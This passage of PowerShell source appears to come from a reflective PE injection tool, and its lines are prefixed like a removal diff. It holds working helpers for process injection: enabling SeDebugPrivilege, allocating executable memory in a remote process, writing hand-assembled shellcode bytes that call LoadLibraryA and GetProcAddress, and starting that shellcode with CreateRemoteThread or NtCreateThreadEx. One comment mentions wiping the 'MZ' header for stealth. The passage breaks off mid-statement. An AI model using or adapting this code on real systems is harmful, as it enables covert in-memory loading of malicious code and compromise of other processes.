$i++) - { - #Add bytes - [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver - - $FinalBytes[$i] = $Sum -band 0x00FF - - if (($Sum -band 0xFF00) -eq 0x100) - { - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - } - } - else - { - Throw "Cannot add bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - Function Compare-Val1GreaterThanVal2AsUInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) - { - if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) - { - return $true - } - elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) - { - return $false - } - } - } - else - { - Throw "Cannot compare byte arrays of different size" - } - - return $false - } - - - Function Convert-UIntToInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt64] - $Value - ) - - [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) - return ([BitConverter]::ToInt64($ValueBytes, 0)) - } - - - Function Test-MemoryRangeValid - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [String] - $DebugString, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] - [IntPtr] - $EndAddress, - - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] - [IntPtr] - $Size - ) - - [IntPtr]$FinalEndAddress = [IntPtr]::Zero - if ($PsCmdlet.ParameterSetName -eq "Size") - { - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - } - else - { - $FinalEndAddress = $EndAddress - } - - $PEEndAddress = $PEInfo.EndAddress - - if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) - { - Throw "Trying to write to memory smaller than allocated address range. $DebugString" - } - if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) - { - Throw "Trying to write to memory greater than allocated address range. $DebugString" - } - } - - - Function Write-BytesToMemory - { - Param( - [Parameter(Position=0, Mandatory = $true)] - [Byte[]] - $Bytes, - - [Parameter(Position=1, Mandatory = $true)] - [IntPtr] - $MemoryAddress - ) - - for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) - { - [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) - } - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - - Function Enable-SeDebugPrivilege - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $Win32Functions.ImpersonateSelf.Invoke(3) - if ($Result -eq $false) - { - Throw "Unable to impersonate self" - } - - $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw "Unable to OpenThreadToken." - } - } - else - { - Throw "Unable to OpenThreadToken. Error code: $ErrorCode" - } - } - - [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) - $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) - if ($Result -eq $false) - { - Throw "Unable to call LookupPrivilegeValue" - } - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) - [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) - $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) - - $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value - if (($Result -eq $false) -or ($ErrorCode -ne 0)) - { - #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) - } - - - Function Invoke-CreateRemoteThread - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [IntPtr] - $ProcessHandle, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(Position = 3, Mandatory = $false)] - [IntPtr] - $ArgumentPtr = [IntPtr]::Zero, - - [Parameter(Position = 4, Mandatory = $true)] - [System.Object] - $Win32Functions - ) - - [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero - - $OSVersion = [Environment]::OSVersion.Version - #Vista and Win7 - if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) - { - Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" - $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) - $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" - } - } - #XP/Win8 - else - { - Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" - $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) - } - - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Write-Verbose "Error creating remote thread, thread handle is null" - } - - return $RemoteThreadHandle - } - - - - Function Get-ImageNtHeaders - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - $NtHeadersInfo = New-Object System.Object - - #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness - $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) - - #Get IMAGE_NT_HEADERS - [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr - $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) - - #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. - if ($imageNtHeaders64.Signature -ne 0x00004550) - { - throw "Invalid IMAGE_NT_HEADER signature." - } - - if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') - { - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true - } - else - { - $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false - } - - return $NtHeadersInfo - } - - - #This function will get the information needed to allocated space in memory for the PE - Function Get-PEBasicInfo - { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - $PEInfo = New-Object System.Object - - #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. - [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null - - #Get NtHeadersInfo - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types - - #Build a structure with the information which will be needed for allocating memory and writing the PE to memory - $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) - - #Free the memory allocated above, this isn't where we allocate the PE to memory - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) - - return $PEInfo - } - - - #PEInfo must contain the following NoteProperties: - # PEHandle: An IntPtr to the address the PE is loaded to in memory - Function Get-PEDetailedInfo - { - Param( - [Parameter( Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) - { - throw 'PEHandle is null or IntPtr.Zero' - } - - $PEInfo = New-Object System.Object - - #Get NtHeaders information - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types - - #Build the PEInfo object - $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle - $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) - $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) - $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - - if ($PEInfo.PE64Bit -eq $true) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - else - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - - if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' - } - elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' - } - else - { - Throw "PE file is not an EXE or DLL" - } - - return $PEInfo - } - - - Function Import-DllInRemoteProcess - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $ImportDllPathPtr - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) - $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RImportDllPathPtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) - - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($DllPathSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } - - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes - - [IntPtr]$DllAddress = [IntPtr]::Zero - #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address - # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. - if ($PEInfo.PE64Bit -eq $true) - { - #Allocate memory for the address returned by LoadLibraryA - $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($LoadLibraryARetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" - } - - - #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) - $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $LoadLibrarySC2 = @(0x48, 0xba) - $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) - $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - - $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) - - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if ($Result -eq $false) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - else - { - [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - [Int32]$ExitCode = 0 - $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) - if (($Result -eq 0) -or ($ExitCode -eq 0)) - { - Throw "Call to GetExitCodeThread failed" - } - - [IntPtr]$DllAddress = [IntPtr]$ExitCode - } - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - - return $DllAddress - } - - - Function Get-RemoteProcAddress - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $RemoteDllHandle, - - [Parameter(Position=2, Mandatory=$true)] - [String] - $FunctionName - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) - - #Write FunctionName to memory (will be used in GetProcAddress) - $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) - $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RFuncNamePtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($FunctionNameSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } - - #Get address of GetProcAddress - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes - - - #Allocate memory for the address returned by GetProcAddress - $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($GetProcAddressRetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" - } - - - #Write Shellcode to the remote process which will call GetProcAddress - #Shellcode: GetProcAddress.asm - #todo: need to have detection for when to get by ordinal - [Byte[]]$GetProcAddressSC = @() - if ($PEInfo.PE64Bit -eq $true) - { - $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $GetProcAddressSC2 = @(0x48, 0xba) - $GetProcAddressSC3 = @(0x48, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) - $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) - $GetProcAddressSC2 = @(0xb9) - $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) - $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, 